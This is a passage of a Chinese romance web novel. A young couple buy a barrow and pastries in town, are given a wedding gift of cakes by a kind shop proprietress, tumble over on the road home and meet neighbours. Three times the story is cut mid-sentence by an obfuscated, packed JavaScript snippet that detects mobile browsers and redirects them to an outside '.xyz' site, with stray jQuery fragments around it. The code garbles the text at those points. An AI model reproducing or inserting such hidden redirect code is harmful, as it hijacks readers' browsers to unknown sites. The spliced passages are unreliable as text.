小贩以为她是来买木桶或是买些犁、耙、木锨之类的用具,一听是问架子车的,更显殷勤,说好了价,接过铜钱串准备数钱的工夫还不忘对她客气几句:“您真有眼光!这架子车是我大哥亲手打的,他是东巷木行铺周大师的学徒,周大师知道吧?咱们城里有名的木匠,我哥做出来的东西比他差不了多少,您去他们铺里买啊,至少要花两倍的钱才行!”
“是么?那今日算我赚到了。”
“您可赚大了,要是用着顺手,下次可以再来看看,我每天都在这儿,平日会卖些其他的东西,除了眼前这些,桌柜之类的不说,我大哥都能做,想要订几个,不用去木行铺,直接来我这儿打声招呼就行,绝对比市面上的便宜。我呢,自个儿也做些小东西,瞧瞧这除了木桶,还有几个笔架笔筒也都是我做的,您要是喜欢,三十文一对直接拿走!怎么样,您考虑考虑?”
三十文……
合着一个才十五文,确实不贵,到木匠铺书铺里买,一个三十文都不止了。
宁知序不是说要给她买纸笔吗?正巧缺个笔架,要不要买呢?
可这东西似乎也不是必需,回去自己想办法也能做个简陋的用。
苏静蘅想着,往宁知序瞄了眼。
他站得远远地冲自己笑,一下子,她转过头说:“好,那我要了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454422|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
他是什么不讲理的人吗?
当然不是!
凡事随自己心意就好,他也会高兴的。
苏静蘅又数了三十个铜板出去,拿了东西冲宁知序招招手。
等人走到自己身边,举着买来的笔架给他看,说了价钱,两个人随即相视一笑。
“挺值啊!上面还刻了图案,刷了蜂蜡桐油,经得住放,比我做得好。”
虽然比不得铺子里那些精细,但价低,手艺也不算差,他们算占到便宜了。
小贩听见宁知序的话高兴得不行,送走两人,嘚瑟地对旁边的人说:“看见没,做生意,就要像我这样!你们都没出息,迟早有一天老子能发大财,到时候别说什么宁家二公子,就算是真瘟神来了,我也不怕,只要是同我做生意,我都把他好好供着,瘟神也是神呐!”
说罢,乐呵呵地脱下褂子朝地上一铺,席地而坐。
旁人都笑他,他一点不理。
宁知序将桶放在车上,冲苏静蘅扬扬下巴,说:“你坐上面,要去哪儿我推着你走。”
“行。”
苏静蘅爬上车,盘腿坐着,指着面前的路让他走,市上卖什么的都有,她手里攥着小串铜板,走一路问一路价,瞧见卖鸡鸭鹅的,货比三家地问,同宁知序说了,今日不打算买,若有需要,等下次送信进城再添置,又瞧见有人卖驴,她也赶着去问两句,转头对宁知序说:“六贯钱,若你三叔真将此事忘了,过些日子有余钱的话就自己来买吧。”
“嗯。”
“过些日子”是什么时候?
两个人都说不太清楚,眼前的日子暂且还在一个“得过且过”的份上,没人对此太认真。
苏静蘅想的是,便是待在他身边两个月,日子一晃就过去了,她顾好自己的事,对他再上两三分的心,一切就是很好很好的。
而宁知序也想,她终归是要走的,顺着她的意过好这两个月就好,而后的日子如何,全听天意,天要他过下去他就过,天不让,死在草野也比死在宁家好。
想着,他视线落在苏静蘅身上,看见她伸手同道旁的小贩打招呼寒暄,不管认识不认识,凡是接上她话且乐意说下去的,那就当作朋友,夸几句卖的东西好,遇到喜欢的偶尔也掏出铜板做点便宜的交易,不值钱但有用的东西买了不少,各种货物市价也打听得差不多,无甚可添置的,摇摇脑袋就冲着宁知序下令:“走!我们先去瑞芳堂买点心去!”
宁知序默默无言听她的话推着车走,临近瑞芳堂,忽然开口:“他家的桂花杏糕很好吃,许久未吃,想念得很,也不知现在味道变没变。”
“你怎么知道我要去买桂花杏糕!”
苏静蘅闻言兴奋地瞧着他,似乎他们是心有灵犀,一时间觉得神得不得了,“放心,没变!十年前是什么味现在就是什么味,可好吃了!”
22. 点心(二)
瑞芳堂好吃的点心有很多,唯有桂花杏糕是她的心头爱。
旧年桂花的香气浸在杏肉泥里,咬一口唇齿满香,一次吃个十块八块都不嫌腻。
小时候因缘巧合之下尝到这糕点的味道,她便喜欢得不得了,平日若有闲钱,总要来瑞芳堂买两块桂花杏糕吃,便是没有闲钱,忍些日子也要努力攒一点,想办法拿个三五文去买一块两块解馋。
高兴的时候就当是奖赏,望自己日日高兴,日日能吃桂花杏糕。
不高兴的时候就当是安慰,今日吃一块,哄自己开心,明儿要更开心!
旁人都说这糕点不好吃,比不上松黄饼、枣泥糕、茯苓糕还有藕花酥,可她偏偏喜欢。
她做事向来随自己的心意,凡是自己喜欢的,不管别人看来是好是坏,在她心里一定超越了世间其他一切,不允许任何人欺负贬低。
眼下桂花杏糕是一样,宁知序是另一样。
既相信他的为人,当他是自己的朋友,好歹要关照着他一些,有吃的惦记着给他一份,有玩的也要同他一起。
苏静蘅别着脑袋昂首望他,毫不吝啬地冲他竖了个大拇哥夸他:“有品位,桂花杏糕就是天下第一好吃的东西!看在你也喜欢吃的份上,今天给你多买一份,给我自己也多买一份!”
宁知序笑笑。
没道理的话从她嘴里说出口总是显得格外有道理,当然,也可能是因为她说什么自己都爱听,所以没道理也成了有道理。
“你进去买,我在这里等你,有什么事叫我。”
苏静蘅翻身下车,看看车上那么多东西,确实不大好撇在人家铺子门口,于是点点头说:“我很快回来。”
宁知序推着车找了个不挡着人家店门又能将店里的情形都看清楚的空地等着,周遭人来人往,没什么人注意他,他渐渐放松下来,视线仍跟着她进铺子。
苏静蘅一进门,便瞧见看见铺子左手边柜台里趴着个正在打瞌睡的男人,一身华丽又有些艳俗的紫色长袍裹着他略显肥胖的身躯,账本盖在脑袋上,旁若无人地打着鼾,旁边是面无表情的账房,望见她,眼里一瞬间放出讶异的光来,但很快,又无精打采地沉下肩,继续唉声叹气地摆弄他的算盘。
苏静蘅心下有些稀奇。
太阳真是打西边出来了,这个甩手掌柜今日竟也在铺子里。
不知他认不认得她。
不认得最好。
老板娘不在,她和别人没什么话可说,买了东西赶紧走吧,免得受这甩手掌柜的白眼,被他撵出铺子。
苏静蘅到这儿买东西的次数多了,极解这男掌柜的性子,知他性格古怪,平日不大来铺子里,偶尔过来,也是两手揣在袖子里闭着眼在店里闲逛,这儿指指那儿指指,说些听起来似乎有道理有远见实际一点用都没有的废话,到处给人添乱。
店里干活的那几个都烦他。
几人每日到铺子里第一件事就是在一起祈祷今日是女掌柜当家,若是见了男掌柜到铺子里,他们那脸色真是如丧考妣,干活都提不起力气——毕竟不管怎么做都要被男掌柜找茬,每天伺候那么客人不说,还要伺候他这个大爷,简直要累死他们。
苏静蘅这几年撞上过他几次,每次都要挨他几个轻蔑的眼神,这个时候实在不想和他正面碰上,忙找店小二当掩护,悄悄从柜台前走过。
钻进铺子里,瞧着面前许多点心糖糕,贴着“桂花杏糕”四个字的罐子依旧满满当当,糕点没少几块,她叫小二替她装些杏糕,掏出钱小声对他说:“都包好,留两块我自己拿着,喏,千万别把你家掌柜的叫醒了,我马上就走。”
怕什么来什么,她刚说完话,店小二拿纸来给她包杏糕,一抬头就对上柜台后那双幽幽的眼睛,苏静蘅吓得一哆嗦,看他两眼,假装什么都没看见,转头冲小二递眼神:快些。
铺子里还有三五个人,说笑声断断续续,大体还是十分安静,柜台后边有什么动静都能清清楚楚传进她的耳朵里。
苏静蘅背过身,先听见门口一声不屑的哼笑,之后许久没声音,偷摸转头去看,不出意外得了男掌柜一个白眼。
他颇没有耐心地用他那恹恹的声音说道:“出去。”
啊?
见苏静蘅一副没听清他在说什么的样子,他又淡淡重复一遍,说:“出去。”
苏静蘅皱皱眉,想他该是又犯病了,自己不能搭理他,一旦搭理他,他就会变本加厉,说些有的没的纠缠她。
快,拿了东西就走,不理他不理他!
她目光灼灼地盯着店小二,见他麻利地将桂花杏糕装好,余出两块,拿纸简单裹着放到她手里,这时柜台那边又响起那道声音:“轰出去。”
铺子里的人听见他的话,皆停下说笑,顿在原地。
轰谁?他们来买点糕点,也没犯什么天条,怎么好好的让掌柜不高兴了?
几人相互打量,最后视线齐齐落在苏静蘅身上,似乎明白掌柜的说的是她。
“轰出去?”
小二丈二和尚摸不着头脑,瞥了眼苏静蘅,赶紧将东西放到她手里,小声说:“走吧走吧,别管他,该是吃错药了,到处找人茬呢,正晌午没多久,我们家掌柜休息去了,待会儿来,今日你怕是碰不上她,下次来烦您多留一会,我瞧我们家掌柜的好像有话想跟您说。”
有话要跟她说?
苏静蘅接下包好的点心觉得奇怪。
从前来这里买桂花杏糕和女掌柜碰上,得她几个笑脸,有时也闲聊两句,但交集不算多,她能有什么话跟她说?
男掌柜负手从柜台后慢悠悠踱步而出,走到两人边上,依旧哑着嗓子用不大不小的声音说:“轰出去。”
店小二忙招呼着送苏静蘅出铺子,两人走到门口,身后蓦地响起一道清亮的声音,带着些责备,喊道:“李子!叫你把人留住,你怎么送人走了!”
叫李子的店小二猛地刹住脚,拉着苏静蘅的手腕带她回头,一瞬间似死人复活,笑嘻嘻地看着身后来人,殷勤道:“掌柜的,您来啦!”
太好啦!
终于不用伺候那个整天臭脸的大爷了!现在有人能治他!
李子赶忙拉着苏静蘅回到铺子里,余光瞧见另一道目光冷冷盯着他,他也不怕,咱们铺子里真正当家做主的来了,谁还怕你这个甩手掌柜?
当即昂首挺胸,对女掌柜说:“还没走还没走,本以为赶不上见面,谁知道您来得就是这么巧!前脚刚叫我送她走,后脚掌柜的你就来了。”
“谁叫你送她走的?”
李子不敢笑得太明显,心说还能是谁,不就是你相公吗。
齐惠看他想说又不敢说的样子,一下子明白过来,往旁边那个紫色的胖子甩了一记白眼,警告他:“去去!别在这儿碍事。”
胖子哼笑一声,依旧慢吞吞地背过身,手指摸了摸旁边放着的糖罐,又手欠地拨拨室内挂着的珠帘,较真地说:“我不。”
仅仅两个字,叫人听出来他心底的不服。
但再不服也没用,管事的另有他人,他再怎么说也没用。
“那你就别说话,好好在这儿待着,也别瞎动铺子里的东西,弄坏了记你账上!”
她说完就不瞧他,一转脸,对苏静蘅露出笑颜。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474339|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>苏静蘅朝她福福身,问道:“齐娘子找我可是有什么要紧的事?”
“要紧谈不上。”
齐惠拉着她的手朝柜台那儿去,“就是听说你成亲了,又是十来天没见你来买点心,忍不住多想,今天见你来了,我也就放心了,到底也是见你长大的,我也算是你半个长辈,成亲这样的大事,不能一句话都不问。”
苏静蘅难得有些腼腆了。
低低应一声,有些不知所措地黏在她身后。
齐惠问道:“你一个人来的?买桂花杏糕?待会儿回家还是回城外?要怎么走,可有人接送?”
“我是同我相公一起来的。”
苏静蘅说着朝铺子外边望一眼,看见宁知序在街对面的阴影里,端正地靠在车上,瞧见她看他,立刻挥手,便说,“喏,他在外边等我呢。”
“相公?”
齐惠惊奇地探头,看见街对面一个十七八岁的少年朝这里挥手,一身含蓄的红,模样标志身姿挺拔,想让人不注意都不行,道,“叫他在外边等做什么?进来瞧瞧啊,李子你去请宁二公子进来!”
“好嘞!”
李子一溜烟蹿出去叫人,齐惠说:“听说你跟宁家二公子结亲,我本来是挺担心,现在瞧瞧,好像我的担心多余了,你们两个在一块这不是挺好的,还一块出来买点心,喏,你今日买这么多,回去和他一起吃的吧?”
苏静蘅垂眸,不知怎么跟她说。
虽然不是真夫妻,可又没到剑拔弩张刀剑相向的地步,更没必要自寻不痛快,当个朋友凑合着过一段时间也行。
他们两个各求各的心安,大约她想的多了一点,希望自己能无所顾虑体面一点离开,准备妥当,不至于走了之后还要被宁家“追杀”,又望他也莫要受宁家的刁难。
眼下不知道路在哪里,只能走一步是一步,想着顺着宁家的意,捱过这段日子或许能得一个圆满的解法,但若是不能——
苏静蘅抿抿唇,收起思绪只是笑着点头,说:“是,巧了,他也爱吃桂花杏糕,有钱就多买些,够我们吃两日,下次再来买。”
齐惠捂着嘴笑:“我知道他也爱吃,你不知道,他小时候总从宁府偷溜出来买桂花杏糕,小小年纪,一出手都是大钱,要买就买一整罐,豪横得很!后来他不大来了,你倒接了他的班,三五天来一次,每次捏着三个铜板垫着脚尖把钱放在柜台上,怯生生问我能不能买一块糕点,我瞧了欢喜得不得了,心想这么乖的小孩,要是我家的就好了。”
苏静蘅被说得不好意思。
她每次只带几个铜板,大多数时候只买一块,哪日钱多一点,就买个三四块带回家分给家里人吃,后来家里没钱,她来得少了点,但隔十天半个月还是会来一次。
谁知道宁知序以前买桂花杏糕就那么豪横呢?现在让他跟着自己买两包怕是委屈他了,手里刚买的这么点没准还不够他塞牙缝的!
苏静蘅摸摸篓子里的钱,想着要不要多买点,又听见她说:“日子过得真快啊,谁想到这么一转眼你就成亲了,阿蘅姑娘,其实我今日见了你们,觉得这是天降的缘分,你们若是都欢喜对方,愿意跟着对方,既脱了从前的家,一起过日子那是再好不过的。两个人只要没什么歪心思,踏踏实实过日子,这日子是很容易经营起来的。”
“我是真盼着你们好。”
苏静蘅动作一顿,有些僵硬地问:“为什么?怎、怎么就是天降的缘分了?我们其实只算是半熟……”
她声音越说越小,齐惠没听见最后一句,只瞧着那抹淡红的身影越走越近,忍不住笑道:“因为你们都爱吃桂花杏糕啊!”
23. 点心(三)
宁知序远远听见她说的话,步子微顿,而后假装什么都没听见,走近了冲齐惠点点头,颇为不好意思地叫了声“齐娘子”。
苏静蘅还定着原地,余光看见宁知序的身影,不作反应。
齐惠亲热地拉住他的手臂,真像个亲近的长辈似的,将他往自己身边贴了贴,欢喜道:“二公子都长这么大啦,竟比我高那么多,记得你小时候来我们铺子买点心,才比柜台高一点,每次见了我都要在门口大喊一句‘齐娘子齐娘子,给我来一罐桂花杏糕’,非引得店里人都看着你才高兴,拿了糕点也是一刻都等不了,塞得满嘴都是,现在倒是含蓄了,进来这么久也没跟你喜欢的桂花杏糕打声招呼。”
她说着笑了笑,轻轻拍拍他的肩。
宁知序不好意思地挠头,身子站得笔直,不停朝苏静蘅飞着求救的眼神,苏静蘅头一抹,不理他。
就喜欢看他这样无措的样子。
像调皮的猫被揪住后脖颈,动弹不得,哪有往日的神气!
宁知序看她故意躲着自己,知道她现在只想看自己的热闹,耳根子瞬间红起来,更不知道要怎么跟齐惠说话。
小时候的事她怎么记得这么清楚……
他之前有这么作怪么?明明就是拿着钱来买糕点,高兴是高兴一点,但也没有这么张扬吧。
齐惠拉着他继续叙旧,说的都是些孩子时候不懂人情世故闹出来的糗事,越说,他脸越红。
说他小时候装正经,大冬天拿着把折扇晃悠,街头巷尾乱窜,认了一堆小弟,还大方地请那些“小弟”到瑞芳堂买点心,账记在他头上,又说他那时嘴可甜,见人叫得开,次次都能把铺子里的人哄开心,就是八十岁的老太太,他也能闭着眼喊“姐姐”,夸人家跟十八岁似的,年轻力壮,一巴掌能把自己掀上天。
“你说哪有人这么哄人的,偏偏从他嘴里说出来就是叫人觉得有意思。”
说着说着,铺子里的人除了宁知序都忍不住笑起来,连那紫衣男掌柜也不例外,肩抖个不停,背过身生怕别人看见他在笑。
宁知序赶紧说:“您就莫要再取笑我了,那时候年纪小不懂事,到处乱跑,回去挨了我爹不少教训,不过也是这儿的糕点好吃,我就算挨了骂还愿意来!”
“你瞧瞧,嘴还是那么甜。”齐惠被逗乐了,冲苏静蘅说,“你以后的日子可有意思了,他这张嘴啊能日日逗你开心。”
“……”
苏静蘅被调侃地面色微红,羞赧低头。
哪有!怎会!才不是!
话是这么说的没错,可她和他的关系没那么近,哪能日日逗她开心。
宁知序几近求饶,齐惠才放过他,绕过柜台从身后拿出一个不小的木盒,打开,分上下两层,每一层九个格子,正是放糕点的大小,又叫了声“李子”,李子高应一声,搬了几罐糕点放在她面前,齐惠说:“叫李子留你们,是想给你们送份贺礼,这盒子里装的是我们店十八种糕点各两块,不是什么贵重的东西,还望你们莫嫌弃。”
苏静蘅也宁知序相视一眼,异口同声道:“怎么会!”
齐惠将各种糕点一一摆进盒子里,说道:“知道你们之前过得不容易,不破不立,如今从头来过,日子定会好的,送糕点给你们,便是希望你们以后的日子能甜些,过去的苦日子就让它过去吧,将眼前的日子过好才最重要。”
装好糕点,将盒子放到宁知序手上,他胳膊肘一沉,这盒子十分重实,瞧着价钱就不便宜,上贴了个“囍”字封贴,定是特地找人做的。
她又嘱道:“得闲再来我这买糕点,告诉我你们过得好,我心里也会得意的。”
“齐娘子……”
话说得苏静蘅心里的委屈差点泛起来,又得了这么一大盒糕点,她忍不住抱住齐惠。
从前没什么说话的机会,见面也只当她是个心善好说话的老板,不曾想原来她一直记挂自己。
宁知序心下也感动至极,只是他抱着盒子,不知道该作何动作,只能站在一边干看着,瞧着苏静蘅黏在齐惠身上说些黏糊的话,讲着讲着两个人就要认干亲,但各自没什么准备,便要看历法重新定个日子,再瞄一眼旁边,那男掌柜已经在翻历日了……
苏静蘅:“……”
刚才不是还轰她走呢么?他性子果然怪极了!
齐惠不知刚才发生了什么,掏心窝子与苏静蘅又聊了一会儿,定好结干亲的日子,说要好好备礼找人做个仪式,一切说定,再说几句亲热的客气话,便亲自将人送出铺子。
眼见两人说说笑笑地离去,回到店中,她脸色转淡,李子一看,心说不好,咱家掌柜的要生气了!
果然,他念完,齐惠就立刻冲着铺子里质问:“赵揭瓦你是不是又想挨打了!”
赵铭翻书的动作一顿,抬头看她,微微叹气说道:“说了多少次,别在外面这么叫我。”
“你刚才是不是撵人了?”
“……”
赵铭摇头,不说话。
“李子,你来说,他刚才是怎么撵人的。”
李子吓一跳,后知后觉有些懊悔。
随口一说就算了,依赵掌柜这古怪的性子,人家不一定放在心上,谁知道还要拉他出来“指认”,这下不和他结梁子了吗?
“嘶——掌柜的他说——”
“他说什么了?”
语气非要他说出个所以然来,
李子闭上眼,心想算了,结梁子就结梁子,咱们这位掌柜和铺子里的人本就合不来,早八百年就算结了梁子了,只是没挑开而已,这下彻底挑开了,他日后就抱紧齐掌柜的大腿,总不能被他剥了一层皮去!
“他说,把人‘轰出去’……”
齐惠闻言,去抄鸡毛掸子,问:“为什么?为何要撵她走?”
“啊呀呀,你瞧瞧你,何必呢?”
赵铭又是一副拿她没办法的样子,说话仍蹦不了几个字,“这不是没撵成吗?既没撵成,你就当我没撵过好了。”
“赵揭瓦!”
“唉——”
赵铭慢吞吞伸手抢过她手里的鸡毛掸子,“不是怕旁人知道了影响生意么?你不怕,那我就不怕了,要认干亲,很好的啊,你高兴就好了,只要你高兴,这事办得就是值。”
齐惠不买他的账,说:“你现在说得倒是好听,我可是看着苏家那孩子长大的,就是宁二公子,小时候来咱们铺子里买东西你又不是没见过,那时候不是还说他好玩吗?这么些年过去,你竟然相信外边的鬼话,他来我们店买东西的时候咱们的生意刚有起色,你还说他是福星,现在又嫌他给自己惹麻烦,哪有人像你这样的,做生意走不好没事,做人总不能也做不好!”
“哎呀惠娘,莫气莫气。”
李子瞧赵掌柜跟个乌龟似的,做什么事都不紧不慢,火烧眉毛了,还是那副老样子,心中对他除了看不惯之外,竟然生出几分敬佩之情。
这次齐掌柜是真生气了,只不过惦记着在铺子里要全他的脸面,所以没真动手,要是出了铺子回到家,避开这么多人,可没现在这么好说话,没准会真拿鸡毛掸子抽他,还让他跪搓衣板!
赵掌柜的性子大家明白,齐掌柜的脾气更是清楚,做事勤快,待人接物都有自己的章程,是个脑子极为清醒的人,自然,她胆子大,做决定十分果断,平日说一不二,是瑞芳堂真正的头儿,没人敢不听她的话,也没人不服她。
赵掌柜和她接触的最多,平时挨的教训也最多。
但谁叫他俩是夫妻,只要不是真动手互相打架,就全当他们是在打情骂俏,这次明眼人瞧了都知道不是在打情骂俏,齐掌柜的眼都气得发红,手直抖,那是真的想抽他。
“惠娘——”
赵铭走过去抱住她的肩,安慰着,说,“我错了,你要我怎么做,我可以跟她赔礼道歉。”
齐惠清楚他的性子,既然这么说了,便是真的认错,骂也该骂,但他自个儿主动要去做事,她怎么能拒绝,就当说给那两个孩子赔礼道歉表明心意,于是说:“那认亲的礼你去备。”
赵铭当即应下,点头:“我备我备。”
“她只认我当干娘,不认你当干爹。”
赵铭皱眉:“那认谁当干爹?干娘干娘不应该配一对吗?你想和谁配一对?”
齐惠道:“我待她好,才得了个干娘的名号,你什么都没做就想沾我的光?别做梦了,就是李子都比你够格,要当干爹也是他当。”
李子肩一颤,不可置信地抬头,指着自己:“啊?我吗?”
-
苏静蘅与宁知序离开瑞芳堂,又去添置了些必要的物什,布庄买了几匹料子,油坊添购灯油,书铺买了纸笔书卷,又往肉铺去买了些肉回去。
申正出城,离城前还买了些吃的包好当做晚食,这样回去便不至于到家之后赶着做晚饭。
宁知序推着车,苏静蘅依旧坐在车上,出了城门外边天地一片辽阔,二人慢悠悠地赶路,看着路边冬日过后新发的草芽,苏静蘅琢磨着说:“要不了多久荠菜便能吃了,到时候来城里再打些肉回去做荠菜肉圆吧,再添几个蛋,荠菜蛋花汤也好吃,吃了不生病,咱俩都多吃些。”
“好。”
小路有些颠簸,不比城里的石板路平稳,苏静蘅盘着一条腿,摇摇晃晃,东倒西歪,抱着齐惠给他们的点心,捂住心口余存的欢喜,小声哼起不成调的歌。
宁知序自身后偷看她,却只能看见那两串手打的穗子与青丝缠绕,风一吹,缠缠绵绵依依不舍地分开。
一曲调子哼完,她似乎沉浸在自己的世界里,许久,掉头看他,问要不要换她推车。
宁知序提提车把手,说:“不累。”
动作却让她身子摇摆得更厉害,只能攥紧栏杆保持平稳。
“累了我俩换一换,放心,我推得动你。”
车上摆着杂七杂八的东西,再加一个人,便是有轮子的车,推起来也不容易。
还有好一会儿的路程,难道真让他把自己推回家不成?
苏静蘅伸手扭扭自己的脚腕,只有用力时才能感受到一些轻微疼痛,道:“你那药膏真是有奇效,擦了两天便好得差不多了……前儿晚上扭的,昨日走路嫌疼,只能当个跛子,到晚上好一些,再擦擦药膏,今日起来,疼痛便只剩三两分了,今日走了不少路,原以为会疼得更厉害,谁知道半点没有严重,到下午竟比早上还轻松些,估计明日睡醒一点痛都没有了!”
“不过除了你的药管用,也是我身子好,受了什么伤好得都快,要是三两天养不好这么点小伤小痛,等老了哪日摔个跟头,怕是要彻底躺在床上起不来身,到时候没有神药,不知道要修养多少天才能好呢。”
宁知序因她的话想到她满头白发摔了个屁股墩儿的模样,眼前所见她仍旧穿的是今天这身衣服,绣花长裙,拄着自己给她打的拐杖,“哎呦呦”地叫唤,自己多瞧她一眼,便要被她骂,说的大概是“宁知序你不许笑话我”“宁知序等你摔了我不扶你”之类的话,顿时忍不住噗呲笑出声。
苏静蘅惊诧地看他:“你笑什么?”
“没什么。”
宁知序立马收了笑,推着车稳步向前。
“你肯定是想我不好的事了。”
苏静蘅不肯放过他,笃定道。
“没有。”
宁知序心道哪能告诉你,说了又要挨你的数落。
他非要心底偷笑她,只为了这么点小事就乐得不行,笑完了,忽然想自己是不是傻子,为了不可能发生的事这么高兴,不仅是傻子还是疯子,肯定是春天到了,风一吹叫他心底压着的思绪与情愫都被吹起来,轻易就飞上天。
春天不是个好日子。
他怪春天也不怪自己,推车的速度放慢,苏静蘅动身就要下车。
“你做什么?”
“下车和你交换。”
“不行。”
宁知序正身走快,远瞧着路前方并肩行着两个人,固执地说:“我不要被前面的人看见是你推我走路,传出去还以为我待你不好。”
轮子越转越快,苏静蘅便看见远处一男一女离自己越来越近。
听见声音,二人不约而同回头,但苏静蘅已经顾不得看那两人的模样,因为宁知序疯了似的,将车推地飞快,从走到小跑不过几息之间,她被颠地“啊啊啊”直叫。
只是叫便算了,跑那么快,她偏偏忍不住笑,于是一边叫“啊啊啊”一边“哈哈哈”地从那一男一女身边路过,感受到两道诧异的目光落在自己身上,苏静蘅真想拿起横在面前的拐杖狠狠揍宁知序一顿。
“慢一点慢一点!”
“笑得那么开心,我停下来你真乐意?”宁知序气喘不停,跑了好一段路,他自己有点吃不消,才慢慢停下来。
苏静蘅趁他休息,连忙从车上跳下来,撸撸袖子推他上车,嘴里嘀咕道:“敢小瞧我,我推得比你还快!”
说罢,不等他坐好久推着车拔脚狂奔。
别说,除了一开始抬车那下子有些不稳,其他时候还挺稳当。
只是宁知序竟没她胆大,从车子抬起来的那刻心就慌得不行,既怕她摔了,又怕车翻了,一直叫她停,苏静蘅迎风呼和着:“你说什么我听不见!”
弄得宁知序一阵无言。
鸟雀从地面低掠而过,近山浅林鸟声不止,两个人似乎跑了很远,但仍在那两个过路者的视线之内。
人迹所形成的地面上留着条条的车辙印,初春几场小雨使得路面上被翻起的泥土层层堆叠,这一条道上不知何时留下许多浅坑,浅坑之中又影藏着几个足以让人崴脚摔跤的深坑。
宁知序吹着风,只觉得车子颠簸得厉害,没等他反应过来,苏静蘅一声惊呼,紧接着他连人带车不受控制地朝旁边斜去。
果然摔了个跟头!
在地上滚了一圈,回过神爬起来连忙瞧瞧她有什么事,幸好,只是摔了个屁股墩儿,没伤着脚更没伤着手和脑袋,两个人彼此确认对方无虞,又急急忙忙去看齐惠给他们准备的点心有没有摔坏。
盒子卡在车上,没被碰开,打开盒子里面的点心都完好无损,两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494027|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这才彻底放下心,也不管摔在地上的其他东西,对视一眼,指着对方就开始大笑。
“哈哈哈哈!我就说你不行!好好的路也能摔了,这车该是我来推!”
“我行!我行!不是推了那么远吗?谁知道地上有个这么大的坑,哎呀,我要是脚上也长双眼睛就好了,以后便再也不会跌跟头,更不会崴着脚了!”
“我瞧你后脑勺再长只眼睛才够,这样四面八方你都能看清楚。”
“那不成妖怪了吗?”
“那脚上长眼睛就不是了吗?”
对哦。
苏静蘅愣了愣,随即笑得更厉害,捂着脸眼泪都笑了出来。
真奇怪,哪里好笑了?她怎么就笑得停不下来了?
可一想到自己脑袋上长眼睛,脚趾头上长眼睛的样子,不仅没觉得可怖,反而觉得有意思极了。
小时候不是被讲妖怪故事的说书先生吓得不轻吗?不是也听过“眼睛妖怪”的事,被吓得躲进娘亲怀里吗?怎么自己成了妖怪,倒觉得有意思了?
若是真长成这个样子,每日除了做缝缝补补的针线活,去做些吓小孩的事也很有意思吧?
不用不用!
不必去吓小孩,吓宁知序就够了!他一定捧她的场,即便吓不到,只同他吵闹也觉得有意思!
苏静蘅用帕子擦擦眼泪偷摸着看他,见他从怀里掏出杨叔还来的那几方帕子,挑了一转,没舍得用,只用自己的袖子擦眼泪,一边擦一边看向苏静蘅,问:“你看我做什么?”
“我——”
苏静蘅刚要开口,宁知序忽然看了眼她身后,然后小声说,“有人来了。”
正是刚才那两个过路人,这么一会儿工夫已经追上来。
一男一女,男的大约二十来岁,身材高挑模样周正,背上背着箩筐,箩筐里塞满货物,女的似乎十七八岁,身穿藏蓝色衣裙,发髻低挽,缠着浅青色头绳,一双眼睛弯弯,嘴角始终噙着笑,是个瞧着便让人觉得很舒服的模样。
两个人牵手并行,瞧见他们不说话,默默盯几眼,就这般越走越近。
苏静蘅和宁知序强装淡定,揉了揉笑僵的脸,赶忙起身去捡散落的东西。
摔跤出糗的事定被他们看去了,再叫他们看见自己疯了一样坐在地上笑,那成什么样子。
两人低着头一声不吭地捡东西,大件好捡,简简单单就收拾好放回车上,小件之类如豆子,袋子口开了,摔飞出去撒了满地,要一粒一粒拾。
苏静蘅蹲在地上刚拾了一把豆子,余光瞥见那两人从身边走过,挑挑眉梢,刚要松一口气,却见那两人顿住脚步。
他们要做什么?停下来看热闹吗?
只差些豆子没有捡,这有什么热闹可看?
她心里正疑惑着,那女子忽然朝她走了两步,就这样蹲下来帮她一起捡豆子。
女子既来帮忙,男子愣了愣,也蹲下来帮他们,一时之间,这条寂寥的小路上四个人蹲在地上围坐一团,像是在举行什么奇怪的仪式。
“多、多谢!”
苏静蘅震惊中回过神,不知道如何说,只能道谢。
女子笑笑,用和婉的声音回她:“不用谢。”
男子倒不说话,捡完豆子放回袋子里,直起身,面无表情地等女子。
宁知序将所有东西收拾好,盛豆子的袋子系紧实了,同他们点点头,再次道了声谢,本以为接下来就要分道扬镳,各赶各的路,谁知那女子却忽然问苏静蘅:“我们好像同路,要一块儿回家吗?”
嗯?
“我叫元渺,他是我相公,叫李和薪,住在你们家对面的村子里,今日早上出门碰见过你们,只是那时候你们正聊天,没注意我们。真巧,回来的路上又遇见了,既然顺路,一起走吧,不然同一条路上着,还要惦记着你避着我,我避着你,怪难受的。”
啊!
原来是对面村里的人!
可她这样说话,压根没给自己拒绝的机会啊!
